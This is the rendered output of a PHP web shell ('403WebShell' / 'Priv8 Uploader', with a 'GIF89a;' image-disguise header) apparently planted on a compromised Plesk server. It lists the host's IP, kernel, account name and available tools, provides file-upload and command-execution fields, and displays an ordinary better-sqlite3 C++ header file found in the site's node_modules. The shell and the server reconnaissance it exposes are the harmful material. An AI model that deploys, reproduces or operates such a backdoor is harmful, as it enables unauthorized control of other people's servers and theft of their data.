GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
403WebShell
403Webshell
Server IP : 82.165.91.112  /  Your IP : 216.73.216.177
Web Server : Apache
System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : nr7.net_tfpqq467gv ( 10001)
PHP Version : 8.4.25
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/better-sqlite3/src/objects/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/better-sqlite3/src/objects/statement.hpp
class Statement : public node::ObjectWrap { friend class StatementIterator;
public:

	~Statement();

	// Whenever this is used, db->RemoveStatement must be invoked beforehand.
	void CloseHandles();

	// Used to support ordered containers.
	static inline bool Compare(Statement const * const a, Statement const * const b) {
		return a->extras->id < b->extras->id;
	}

	// Returns the Statement's bind map (creates it upon first execution).
	BindMap* GetBindMap(v8::Isolate* isolate);

	static INIT(Init);

private:

	// A class for holding values that are less often used.
	class Extras { friend class Statement;
		explicit Extras(sqlite3_uint64 id);
		BindMap bind_map;
		const sqlite3_uint64 id;
	};

	explicit Statement(
		Database* db,
		sqlite3_stmt* handle,
		sqlite3_uint64 id,
		bool returns_data
	);

	static NODE_METHOD(JS_new);
	static NODE_METHOD(JS_run);
	static NODE_METHOD(JS_get);
	static NODE_METHOD(JS_all);
	static NODE_METHOD(JS_iterate);
	static NODE_METHOD(JS_bind);
	static NODE_METHOD(JS_pluck);
	static NODE_METHOD(JS_expand);
	static NODE_METHOD(JS_raw);
	static NODE_METHOD(JS_safeIntegers);
	static NODE_METHOD(JS_columns);
	static NODE_GETTER(JS_busy);

	Database* const db;
	sqlite3_stmt* const handle;
	Extras* const extras;
	bool alive;
	bool locked;
	bool bound;
	bool has_bind_map;
	bool safe_ints;
	char mode;
	const bool returns_data;
};

Youez - 2016 - github.com/yon3zu
LinuXploit